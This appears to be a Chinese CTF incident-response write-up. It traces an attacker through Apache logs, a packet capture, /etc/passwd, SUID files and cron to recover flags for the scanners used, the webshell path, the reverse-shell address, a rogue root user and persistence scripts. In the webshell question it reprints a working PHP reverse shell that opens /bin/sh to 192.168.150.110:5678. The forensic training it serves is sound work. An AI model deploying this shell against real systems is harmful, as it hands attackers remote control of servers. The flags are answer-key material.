第九章-实战篇-运维杰克
1、攻击者使用的的漏洞扫描工具有哪些(两个) flag
我们首先先去 /var/log下面看一下 发现这个网站中间件是apach 逛了一圈没有发现什么东西,
但是先统计一下在日志里面哪些ip访问的数量最多,但是在 root目录下面发现了流量包
cut -d- -f 1 access.log.1 | sort -nr | uniq -c | sort -nr
可以看到这里是以192.168.150.1这个ip最为多,我们先以这个目标为核心在流量包里面搜索 。我们使用finallshell进行连接将流量包下载到本地使用wireshark进行分析
ip.src_host == 192.168.150.1 && tcp && !ssh && !http
在流量包里面发现了一些nmap的特征,流量包里面发现了大量的SYN和ACK
但是这里跟题目提示的不相符,拿我们看看别的去,简单的搜索一下http头
可以看到在长度为 472大小的流量包里面发现了扫描器 Goby的痕迹,根据题目意思已经找到一个扫描器了
我们在看看协议协议分级 点击统计 -协议分级,右击选中
在里面发现了可疑的ICMP,
得到:
101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
这里利用了 icmp echo
来探测存活,简单来说就是这些值是 ICMP Echo 请求的数据部分。这种连续的字节值通常用于确保数据的一致性和校验。
利用 ICMP Echo 请求进行存活探测
- 目的:探测目标主机是否在线。
- 方法:发送 ICMP Echo 请求(Ping),目标主机收到请求后会返回一个 ICMP Echo 回复。
- 特征:ICMP Echo 请求数据部分可以包含任意数据,常见的是连续字节或固定模式。
总的来说 ICMP Echo 请求数据部分的内容,是用于探测目标主机是否在线。这种模式在网络扫描工具(如 fscan 或 nmap)中是常见的探测手段之一。
再结合题目的提示最后一个工具的字母是n 所以我们可以判断就是fscan
flag{fscan-goby}
2、攻击者上传webshell的绝对路径及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符
这里提到了上传我们可以在wireshark里面搜搜 http contains "boundary"
为什么能定位上传流量(原理)
浏览器上传文件通常使用
multipart/form-data
:
当网页用<form enctype="multipart/form-data" method="POST">
上传文件时,HTTP 请求的请求头会包含类似:Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbCdEf
这个
boundary
(分界符)是用来把不同表单字段和文件内容分隔开的字符串。请求体里也会包含
boundary
字样:
请求体(body)由若干部分组成,每部分之前都会出现:------WebKitFormBoundaryAbCdEf Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: application/octet-stream<文件二进制数据...>
因此
boundary
出现在HTTP 头部和HTTP body中,成为上传流量的显著“指纹”。
http contains "boundary"
匹配到的是这些头/体文本:
Wireshark 的http contains
会在 HTTP 层的可见文本里搜索字符串,所以能把含有boundary
的上传请求过滤出来。
在这个流量包里面发现了可疑的地方
在这个流量包里面我找到了 User-Agent: my_is_user_agent
并且往下翻还找到了,反弹的IP和端口
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.150.110'; // CHANGE THIS
$port = 5678; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;//
// Daemonise ourself if possible to avoid zombies later
//// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?>
但是现在还差绝对路径,我们看一下现在开放的端口和网络连接
这里看到有个外部链接 220.250.58.102
并且连接的是22端口,这是黑客使用的连接。特别是与端口 22
(SSH) 的连接和其他端口的连接,表明黑客在尝试远程访问系统并进一步控制。
在netstat显示开放的端口包含80,说明了在目标机上运行了WEB应用服务 我们推测在webshell很有可能存储在web服务器中的根目录
/var/www/html, 我们在finalshell里面将html的源代码下载下来
不知道为什么这里卡死了,在网上找了大佬的图
在这个shell文件就是上面那个流量包里面的内容所以路径是我们获得webshell的路径是 :/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php ,将绝对路径和 User-agent 连接成一个字符串;再进md5加密
flag{14bea1643a4b97600ba13a6dd5dbbd04}
3、攻击者反弹shell的IP及端口是什么
根据上题可知
flag{192.168.150.110:5678}
4、攻击者利用提权攻击添加的用户,用户名是什么
这里告诉我们黑客提权添加用户了,直接找 /etc/passwd
或者 /etc/shadow
这两个文件存放着用户信息
可以看到这个 zhangsan
的权限跟root拥有相同的权限。
zhangsan:x:0:0::/home/zhangsan:/bin/bash
字段按冒号分为 7 部分(格式:用户名:密码占位:UID:GID:GECOS:主目录:登录 shell
):
zhangsan
—— 用户名。x
—— 密码占位(现代系统把真实密码哈希放在/etc/shadow
,x
表示用 shadow 管理)。0
—— UID(用户 ID)。0 表示 root 权限。任何 UID 为 0 的账户在权限上等同 root(极其重要)。0
—— GID(主组 ID),这里是 0(通常是 root 组)。- ``(空)—— GECOS 字段,通常用于填写全名/联系信息,这里为空。
/home/zhangsan
—— 用户的主目录。/bin/bash
—— 登录 shell(用户登录后得到的交互 shell)。
关键安全含义
- UID = 0:
zhangsan
实际上是一个拥有 root 权限的账户(等同 root 用户)。如果这是意外的或未经授权的,就非常危险——说明系统上有额外的 root 账号或被篡改。 x
表示密码不在此文件,需要检查/etc/shadow
来看是否有密码或是否被锁定。
flag{zhangsan}
5、攻击者留下了后门脚本,找到绝对路径(有SUID权限)
题目直接提示我们找SUID权限了,我们直接进行命令搜索哪些文件有SUID权限
find / -perm -4000 -type f 2>/dev/null
在开头第一个这个文件很可以跟踪过去看看
里面写的是黑客的一句话木马
flag{/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php}
6、攻击者留下了持续化监控和后门脚本,找到绝对路径
看到持续化后门脚本 可能跟开启自启动有关联 先去/etc/systemd/system/
、/lib/systemd/system/
这两个目录一下
目的:配置 systemd unit(服务、timer、socket 等),控制服务的启动、停止、重启及开机自启;攻击者利用该路径实现系统级持久化、自动重启后门或以服务方式隐蔽运行恶意程序。
我去这个文件逛了一圈没有什么收获 这个时候看看计划任务有没有被劫持
在这里有个 .script.sh文件很可疑 我们去看看
这个隐藏文件里面指的路径是我们黑客上传的一句话木马文件 这个计划任务是给这个文件赋予权限,允许该文件以其拥有者的权限运行
所以这个就是我们的目标
flag{/opt/.script/.script.sh}